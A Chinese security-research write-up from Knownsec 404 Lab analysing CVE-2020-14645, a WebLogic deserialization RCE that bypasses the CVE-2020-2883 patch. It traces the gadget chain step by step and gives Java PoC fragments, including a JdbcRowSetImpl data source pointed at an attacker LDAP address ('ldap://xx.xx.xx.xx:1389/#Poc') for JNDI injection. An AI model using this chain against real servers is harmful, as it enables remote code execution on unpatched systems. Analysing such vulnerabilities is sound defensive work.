作者:DEADF1SH_CAT@知道创宇404实验室
时间:2020年8月3日
Oracle七月发布的安全更新中,包含了一个Weblogic的反序列化RCE漏洞,编号CVE-2020-14645,CVS评分9.8。
该漏洞是针对于CVE-2020-2883的补丁绕过,CVE-2020-2883补丁将MvelExtractor
和ReflectionExtractor
列入黑名单,因此需要另外寻找一个存在extract
且方法内存在恶意操作的类,这里用到的类为com.tangosol.util.extractor.UniversalExtractor
,存在于Coherence组件。
先来回顾一下CVE-2020-2883的两个poc调用链
//poc1
javax.management.BadAttributeValueExpException.readObject()
com.tangosol.internal.sleepycat.persist.evolve.Mutations.toString()
java.util.concurrent.ConcurrentSkipListMap$SubMap.size()
java.util.concurrent.ConcurrentSkipListMap$SubMap.isBeforeEnd()
java.util.concurrent.ConcurrentSkipListMap.cpr()
com.tangosol.util.comparator.ExtractorComparator.compare()
com.tangosol.util.extractor.ChainedExtractor.extract()
com.tangosol.util.extractor.ReflectionExtractor().extract()
Method.invoke()
//...
com.tangosol.util.extractor.ReflectionExtractor().extract()
Method.invoke()
Runtime.exec()
//poc2
java.util.PriorityQueue.readObject()
java.util.PriorityQueue.heapify()
java.util.PriorityQueue.siftDown()
java.util.PriorityQueue.siftDownUsingComparator()
com.tangosol.util.extractor.AbstractExtractor.compare()
com.tangosol.util.extractor.MultiExtractor.extract()
com.tangosol.util.extractor.ChainedExtractor.extract()
//...
Method.invoke()
//...
Runtime.exec()
其本质上,都是通过ReflectionExtractor
调用任意方法,从而实现调用Runtime对象的exec方法执行任意命令,但补丁现在已经将ReflectionExtractor
列入黑名单,那么只能使用UniversalExtractor
重新构造一条利用链,这里使用poc2的入口即CommonsCollections4链的入口进行构造。
为了方便一些纯萌新看懂,此处将会从0开始分析反序列化链(啰嗦模式警告),并且穿插一些poc构造时需要注意的点,先来看看调用栈。
从头开始跟进分析整个利用链,先来看看PriorityQueue.readObject()
方法。
第792会执行for循环,将s.readObject()
方法赋给queue
对象数组,跟进heapify()
方法。
这里会取一半的queue数组分别执行siftDown(i, (E) queue[i]);
,实质上PriorityQueue
是一个最小堆,这里通过siftDown()
方法进行排序实现堆化,那么跟进siftDown()
方法。
这里有个对于comparator
的判定,我们暂时不考虑comparator
的值是什么,接下来会使用到,我们先跟进siftDownUsingComparator()
方法。
重点关注comparator.compare()
方法,那么我们先来看看comparator
是怎么来的。
是在PriorityQueue
的构造函数中被赋值的,并且这里可以看到,queue
对象数组也是在这里被初始化的。那么结合上述所分析的点,我们需要构造一个长度为2的queue
对象数组,才能触发排序,进入siftDown()
方法。同时还要选择一个comparator
,这里选用ExtractorComparator
。继续跟进ExtractorComparator.compare()
方法。
这里将会调用this.m_extractor.extract()
方法,让我们看看this.m_extractor
是怎么来的。
可以看到,this.m_extractor
的值是与传入的extractor
有关的。这里需要构造this.m_extractor
为ChainedExtractor
,才可以调用ChainedExtractor
的extract()
方法实现串接extract()
调用。因此,首先需要构造这样一个PriorityQueue
对象:
PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor));
//这里chainedExtractor为ChainedExtractor对象,后续会说明chainedExtractor对象的具体构造
继续跟进ChainedExtractor.extract()
方法,可以发现会遍历aExtractor
数组,并调用其extract()
方法。
此处aExtractor
数组是通过ChainedExtractor
的父类AbstractCompositeExtractor
的getExtractors()
方法获取到父类的m_aExtractor
属性值。
所以,poc中需要这样构造m_aExtractor
:
Class clazz = ChainedExtractor.class.getSuperclass();
Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
m_aExtractor.setAccessible(true);
m_aExtractor
具体的值需要怎么构造,需要我们继续往下分析。先回到我们所要利用到的UniversalExtractor
,跟进其extract()
方法。
此处由于m_cacheTarget
使用了transient
修饰,无法被反序列化,因此只能执行else部分,跟进extractComplex()
方法。
这里看到最后有method.invoke()
方法,oTarget
和aoParam
都是我们可控的,因此我们需要看看method
的处理,跟进findMethod
方法。
可以看到第477行可以获取任意方法,但是要进入if语句,得先使fExactMatch
为true
,fStatic
为false
。可以看到fStatic
是我们可控的,而fExactMatch
默认为true
,只要没进入for循环即可保持true
不变,使cParams
为空即aclzParam
为空的Class数组即可,此处aclzParam
从getClassArray()
方法获取。
显而易见,传入一个空的Object[]
即可,回到extractComplex()
方法。回到extractComplex()
方法,此时我们只要我们进入第192行的else语句中,即可调用任意类的任意方法。但此时还需要fProperty
的值为false
,跟进isPropertyExtractor()
方法。
可惜m_fMethod
依旧是使用transient
修饰,溯源m_fMethod
的赋值过程。
可以看到,由于this对象的原因,getValueExtractorCanonicalName()
方法始终返回的是null,那么跟进computeValuExtractorCanonicalName()
方法。
此处不难理解,如果aoParam
不为null
且数组长度大于0就会返回null
,因此我们调用的方法必须是无参的(因为aoParam
必须为null
)。接着如果方法名sName
不以 () 结尾,则会直接返回方法名。否则会判断方法名是否以 VALUE_EXTRACTOR_BEAN_ACCESSOR_PREFIXES
数组中的前缀开头,是的话就会截取掉并返回。
回到extractComplex
方法中,在if条件里会对上述返回的方法名做首字母大写处理,然后拼接BEAN_ACCESSOR_PREFIXES
数组中的前缀,判断clzTarget
类中是否含有拼接后的方法。这时发现无论如何我们都只能调用任意类中get
和is
开头的方法,并且还要是无参的。
整理下我们可以利用的思路:
调用init()
方法,对this.method
进行赋值,从而使fProperty
的值为false
,从而进入else分支语句,实现调用任意类的任意方法。然而这个思路马上就被终结了,因为我们根本调用不了非get
和is
开头的方法!!!
被transient
修饰的m_cacheTarget
在extractComplex
方法中被赋值
在ExtractorComparator.compare()
方法中,我们知道extract
方法能被执行两次,因此在第二次执行时,能够在UniversalExtractor.extract
方法中调用targetPrev.getMethod().invoke(oTarget, this.m_aoParam)
方法。但是这种方法也是行不通的,因为getMethod()
获取的就是图上红框的中的method
,很显然method
依旧受到限制,当我们调用非 get
和 is
开头的方法时,findMethod
会返回 null
。
get
和 is
开头并且可利用的无参方法复现过Fastjson反序列化漏洞的小伙伴,应该清楚Fastjson的利用链寻找主要针对get
和set
方法,这时候就与我们的需求有重合处,不难想到JdbcRowSetImpl
的JNDI注入,接下来一起回顾一下。
其connect
方法中调用了lookup
方法,并且DataSourceName
是可控的,因此存在JNDI注入漏洞,看看有哪些地方调用了connect
方法。
有三个方法调用了connect
方法,分别为prepare
、getDatabaseMetaData
和setAutoCommit
方法,逐一分析。
一开始就调用了connect
方法,继续回溯哪里调用了prepare
方法。
execute
方法,应该是用于执行sql查询的
这个应该是用于获取参数元数据的方法,prepare()
方法应该都是用于一些与sql语句有关的操作方法中。
必须让this.conn
为空,对象初始化时默认为null
,因此直接进入else语句。其实this.conn
就是connect
方法,用于保持数据库连接状态。
回到connect
方法,我们需要进入else语句才能执行lookup
方法。有两个前提条件,this.conn
为空,也就是执行connect
方法时是第一次执行。第二个条件是必须设置DataSourceName
的值,跟进去该参数,发现为父类BaseRowSet
的private
属性,可被反序列化。
那么,对于WebLogic这个反序列化利用链,我们只要利用getDatabaseMetaData()
方法就行,接下来看看该怎么一步步构造poc。先从JdbcRowSetImpl
的JNDI注入回溯构造:
JdbcRowSetImpl jdbcRowSet = (JdbcRowSetImpl)JdbcRowSetImpl.class.newInstance();
Method setDataSource_Method = jdbcRowSet.getClass().getMethod("setDataSourceName", String.class);
setDataSource_Method.invoke(jdbcRowSet,"ldap://xx.xx.xx.xx:1389/#Poc");//地址自行构造
//利用ysoserial的Reflections模块,由于需要获取queue[i]进行compare,因此需要对数组进行赋值
Object[] queueArray = (Object[])((Object[]) Reflections.getFieldValue(queue, "queue"));
queueArray[0] = jdbcRowSet;
queueArray[1] = jdbcRowSet;
接着构造UniversalExtract
对象,用于调用JdbcRowSetImpl
对象的方法
UniversalExtractor universalExtractor = new UniversalExtractor();
Object object = new Object[]{};
Reflections.setFieldValue(universalExtractor,"m_aoParam",object);
Reflections.setFieldValue(universalExtractor,"m_sName","DatabaseMetaData");
Reflections.setFieldValue(universalExtractor,"m_fMethod",false);
紧接着将UniversalExtract
对象装载进文章开头构造的chainedExtractor
对象中
ValueExtractor[] valueExtractor_list = new ValueExtractor[]{ universalExtractor };
field.set(chainedExtractor,valueExtractor_list2);//field为m_aExtractor
此处,还有一个小点需注意,一个在文章开头部分构造的PriorityQueue
对象,需要构造一个临时Extractor
对象,用于创建时的comparator
,此处以ReflectionExtractor
为例。其次,PriorityQueue
对象需要执行两次add
方法。
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString",new Object[]{});
ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{reflectionExtractor});
PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor));
queue.add("1");
queue.add("1");
回到PriorityQueue
对象的readObject
方法
首先需要能进入for循环,for循环就得有size
的值,size
值默认为0,private属性,可以通过反射直接设置,但是不想通过反射怎么办,回溯赋值过程。
在offer
方法处获得赋值,而offer
方法又是由add
方法调用。(注意此处会执行siftUp
方法,其中会触发comparator的compare
方法,从而执行extract
方法)。
不难理解,每add
一次,size
加1,根据上述heapify
方法,只会从开头开始取一半的queue
数组执行siftDown
方法。所以size
至少为2,需要执行两次add
方法,而不是add(2)
一次。
至此,poc的主体就构造完成,其余部分就不在此阐述了,当然构造方式有很多,此处为方便萌新,分析得比较啰嗦,poc也比较杂乱,大家可以自行构造属于自己的poc。如果想要了解简洁高效的poc,可以参考一下Y4er师傅的poc[3]。
初次接触完整的反序列化漏洞分析,在整个分析过程中收获到很多东西。笔者得到的不仅仅只是知识上的收获,在调试过程中也学到了很多调试技巧。另外本文看起来可能会比较啰嗦冗余,但其初衷是想要站在读者的角度去思考,去为了方便一些同样刚入门的人阅读起来,能够更加浅显易懂。学安全,我们经常会碰壁,对于一些知识会比较难啃。有些人遇到就选择了放弃,然后却因此原地踏步。不妨就这样迎难而上,咬着牙啃下去,到最后,你会发现,你得到的,远远比你付出的要多。可能对部分人不太有效、毕竟因人而异,但这是自己在学习过程中所体会到的,也因此想要分享给大家这么一个建议。相信在未来,自己对于反序列化漏洞的理解以及挖掘思路,能够有更深刻的认知,同时激发出自己不一样的思维碰撞。
[1] Oracle 7月安全更新
https://www.oracle.com/security-alerts/cpujul2020.html
[2] T3反序列化 Weblogic12.2.1.4.0 JNDI注入
https://mp.weixin.qq.com/s/8678EM15rZSeFBHGDfPvPQ
[3] Y4er的poc
https://github.com/Y4er/CVE-2020-14645
[4] Java反序列化:基于CommonsCollections4的Gadget分析
https://www.freebuf.com/articles/others-articles/193445.html
[5] Oracle WebLogic 最新补丁的绕过漏洞分析(CVE-2020-2883)
https://blog.csdn.net/systemino/article/details/106117659
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1280/